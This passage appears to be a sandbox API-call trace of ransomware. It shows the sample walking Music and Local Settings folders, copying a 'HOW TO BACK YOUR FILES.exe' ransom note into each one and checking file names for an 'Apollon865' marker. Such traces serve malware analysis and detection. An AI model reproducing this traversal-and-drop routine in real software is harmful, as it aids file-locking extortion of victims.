	[0040.440] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2"
	[0040.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0040.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0040.440] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2") returned 53
	[0040.440] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2"
	[0040.440] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.440] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.446] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.446] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2a1bb90, ftCreationTime.dwHighDateTime=0x1d4ca82, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30376570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.446] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.446] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.446] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.446] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2a1bb90, ftCreationTime.dwHighDateTime=0x1d4ca82, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30376570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.446] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.446] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.446] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.446] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="0xgH6q4vYRzn3zZm.wav" | out: lpString1="0xgH6q4vYRzn3zZm.wav") returned="0xgH6q4vYRzn3zZm.wav"
	[0040.446] lstrlenW (lpString="0xgH6q4vYRzn3zZm.wav") returned 20
	[0040.446] lstrlenW (lpString="Apollon865") returned 10
	[0040.446] lstrcmpiW (lpString1="zn3zZm.wav", lpString2="Apollon865") returned 1
	[0040.446] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="cxOa-aiSNwhzkE23V4.mp3" | out: lpString1="cxOa-aiSNwhzkE23V4.mp3") returned="cxOa-aiSNwhzkE23V4.mp3"
	[0040.446] lstrlenW (lpString="cxOa-aiSNwhzkE23V4.mp3") returned 22
	[0040.446] lstrlenW (lpString="Apollon865") returned 10
	[0040.446] lstrcmpiW (lpString1="kE23V4.mp3", lpString2="Apollon865") returned 1
	[0040.446] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="jNLEsmPbZ5MYX.wav" | out: lpString1="jNLEsmPbZ5MYX.wav") returned="jNLEsmPbZ5MYX.wav"
	[0040.446] lstrlenW (lpString="jNLEsmPbZ5MYX.wav") returned 17
	[0040.446] lstrlenW (lpString="Apollon865") returned 10
	[0040.446] lstrcmpiW (lpString1="bZ5MYX.wav", lpString2="Apollon865") returned 1
	[0040.447] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="N0DUyEryr594KLTK2AQE.wav" | out: lpString1="N0DUyEryr594KLTK2AQE.wav") returned="N0DUyEryr594KLTK2AQE.wav"
	[0040.447] lstrlenW (lpString="N0DUyEryr594KLTK2AQE.wav") returned 24
	[0040.447] lstrlenW (lpString="Apollon865") returned 10
	[0040.447] lstrcmpiW (lpString1="TK2AQE.wav", lpString2="Apollon865") returned 1
	[0040.447] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="NlgTXWxOvXmlJQPm0.wav" | out: lpString1="NlgTXWxOvXmlJQPm0.wav") returned="NlgTXWxOvXmlJQPm0.wav"
	[0040.447] lstrlenW (lpString="NlgTXWxOvXmlJQPm0.wav") returned 21
	[0040.447] lstrlenW (lpString="Apollon865") returned 10
	[0040.447] lstrcmpiW (lpString1="lJQPm0.wav", lpString2="Apollon865") returned 1
	[0040.447] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="sCh6VoGm3PBEmduP0_I" | out: lpString1="sCh6VoGm3PBEmduP0_I") returned="sCh6VoGm3PBEmduP0_I"
	[0040.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0040.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x599450
	[0040.447] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0040.447] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6338f0, ftCreationTime.dwHighDateTime=0x1d4d3a9, ftLastAccessTime.dwLowDateTime=0x8cde90, ftLastAccessTime.dwHighDateTime=0x1d4c612, ftLastWriteTime.dwLowDateTime=0x8cde90, ftLastWriteTime.dwHighDateTime=0x1d4c612, nFileSizeHigh=0x0, nFileSizeLow=0x620d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vk2Z6iCBtNXn.wav", cAlternateFileName="VK2Z6I~1.WAV")) returned 1
	[0040.447] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.447] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="Apollon865.txt.exe") returned 1
	[0040.447] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="vk2Z6iCBtNXn.wav" | out: lpString1="vk2Z6iCBtNXn.wav") returned="vk2Z6iCBtNXn.wav"
	[0040.447] lstrlenW (lpString="vk2Z6iCBtNXn.wav") returned 16
	[0040.447] lstrlenW (lpString="Apollon865") returned 10
	[0040.447] lstrcmpiW (lpString1="CBtNXn.wav", lpString2="Apollon865") returned 1
	[0040.447] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="vOhY6r4f.wav" | out: lpString1="vOhY6r4f.wav") returned="vOhY6r4f.wav"
	[0040.447] lstrlenW (lpString="vOhY6r4f.wav") returned 12
	[0040.447] lstrlenW (lpString="Apollon865") returned 10
	[0040.447] lstrcmpiW (lpString1="hY6r4f.wav", lpString2="Apollon865") returned 1
	[0040.447] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I"
	[0040.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0040.447] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0040.447] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I") returned 73
	[0040.447] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I"
	[0040.447] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.448] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\sch6vogm3pbemdup0_i\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.456] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.456] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94f36cc0, ftCreationTime.dwHighDateTime=0x1d4ccf2, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30376570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.456] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.456] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.457] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="AG4ICw2Qf.wav" | out: lpString1="AG4ICw2Qf.wav") returned="AG4ICw2Qf.wav"
	[0040.457] lstrlenW (lpString="AG4ICw2Qf.wav") returned 13
	[0040.457] lstrlenW (lpString="Apollon865") returned 10
	[0040.457] lstrcmpiW (lpString1="ICw2Qf.wav", lpString2="Apollon865") returned 1
	[0040.457] lstrcpyW (in: lpString1=0x2d3e5e4, lpString2="sX9rznfL ar_NVoN6C.wav" | out: lpString1="sX9rznfL ar_NVoN6C.wav") returned="sX9rznfL ar_NVoN6C.wav"
	[0040.457] lstrlenW (lpString="sX9rznfL ar_NVoN6C.wav") returned 22
	[0040.457] lstrlenW (lpString="Apollon865") returned 10
	[0040.457] lstrcmpiW (lpString1="NVoN6C.wav", lpString2="Apollon865") returned 1
	[0040.457] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu"
	[0040.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0040.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0040.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu") returned 50
	[0040.457] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu"
	[0040.457] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.457] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\hzmu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.462] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.462] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\Hzmu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc43bc9a0, ftCreationTime.dwHighDateTime=0x1d4cb03, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3039c6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.462] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.462] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.462] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en"
	[0040.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0040.462] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0040.462] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en") returned 61
	[0040.462] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en"
	[0040.462] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\a4jjdxzf6um92en\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.470] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.470] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb2dcc0, ftCreationTime.dwHighDateTime=0x1d4c56d, ftLastAccessTime.dwLowDateTime=0x3039c6d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3039c6d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.470] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.470] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.470] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="aesHtl.mp3" | out: lpString1="aesHtl.mp3") returned="aesHtl.mp3"
	[0040.470] lstrlenW (lpString="aesHtl.mp3") returned 10
	[0040.470] lstrlenW (lpString="Apollon865") returned 10
	[0040.470] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="G3dJpXccbg.mp3" | out: lpString1="G3dJpXccbg.mp3") returned="G3dJpXccbg.mp3"
	[0040.470] lstrlenW (lpString="G3dJpXccbg.mp3") returned 14
	[0040.470] lstrlenW (lpString="Apollon865") returned 10
	[0040.470] lstrcmpiW (lpString1="pXccbg.mp3", lpString2="Apollon865") returned 1
	[0040.470] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP"
	[0040.470] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0040.470] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0040.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP") returned 64
	[0040.470] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP"
	[0040.470] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.470] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\4mojk9ttsmsvcmn1hp\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.475] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.475] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c40f00, ftCreationTime.dwHighDateTime=0x1d4d213, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303c2830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.475] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.475] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.475] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="a9cFiPSOaV5.wav" | out: lpString1="a9cFiPSOaV5.wav") returned="a9cFiPSOaV5.wav"
	[0040.475] lstrlenW (lpString="a9cFiPSOaV5.wav") returned 15
	[0040.475] lstrlenW (lpString="Apollon865") returned 10
	[0040.475] lstrcmpiW (lpString1="PSOaV5.wav", lpString2="Apollon865") returned 1
	[0040.475] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="EqjKTOWrn9vutmtK7x.mp3" | out: lpString1="EqjKTOWrn9vutmtK7x.mp3") returned="EqjKTOWrn9vutmtK7x.mp3"
	[0040.475] lstrlenW (lpString="EqjKTOWrn9vutmtK7x.mp3") returned 22
	[0040.475] lstrlenW (lpString="Apollon865") returned 10
	[0040.475] lstrcmpiW (lpString1="tmtK7x.mp3", lpString2="Apollon865") returned 1
	[0040.475] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="pZHvtQIakBZ72v8PjVLa.m4a" | out: lpString1="pZHvtQIakBZ72v8PjVLa.m4a") returned="pZHvtQIakBZ72v8PjVLa.m4a"
	[0040.475] lstrlenW (lpString="pZHvtQIakBZ72v8PjVLa.m4a") returned 24
	[0040.475] lstrlenW (lpString="Apollon865") returned 10
	[0040.475] lstrcmpiW (lpString1="8PjVLa.m4a", lpString2="Apollon865") returned -1
	[0040.476] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="qXDoO4RsMr3l-AxqG.mp3" | out: lpString1="qXDoO4RsMr3l-AxqG.mp3") returned="qXDoO4RsMr3l-AxqG.mp3"
	[0040.476] lstrlenW (lpString="qXDoO4RsMr3l-AxqG.mp3") returned 21
	[0040.476] lstrlenW (lpString="Apollon865") returned 10
	[0040.476] lstrcmpiW (lpString1="l-AxqG.mp3", lpString2="Apollon865") returned 1
	[0040.476] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU"
	[0040.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0040.476] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0040.476] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU") returned 41
	[0040.476] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU"
	[0040.476] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.476] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ulhwu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.483] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93e28b0, ftCreationTime.dwHighDateTime=0x1d4c62f, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303c2830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.483] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.483] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.483] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="sUzb8huip-1s.wav" | out: lpString1="sUzb8huip-1s.wav") returned="sUzb8huip-1s.wav"
	[0040.483] lstrlenW (lpString="sUzb8huip-1s.wav") returned 16
	[0040.483] lstrlenW (lpString="Apollon865") returned 10
	[0040.483] lstrcmpiW (lpString1="uip-1s.wav", lpString2="Apollon865") returned 1
	[0040.483] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="VS_dVFrYo_CGO1iaGus.m4a" | out: lpString1="VS_dVFrYo_CGO1iaGus.m4a") returned="VS_dVFrYo_CGO1iaGus.m4a"
	[0040.483] lstrlenW (lpString="VS_dVFrYo_CGO1iaGus.m4a") returned 23
	[0040.483] lstrlenW (lpString="Apollon865") returned 10
	[0040.483] lstrcmpiW (lpString1="1iaGus.m4a", lpString2="Apollon865") returned -1
	[0040.483] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings"
	[0040.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0040.483] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0040.483] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned 44
	[0040.483] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings"
	[0040.483] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.483] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.488] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
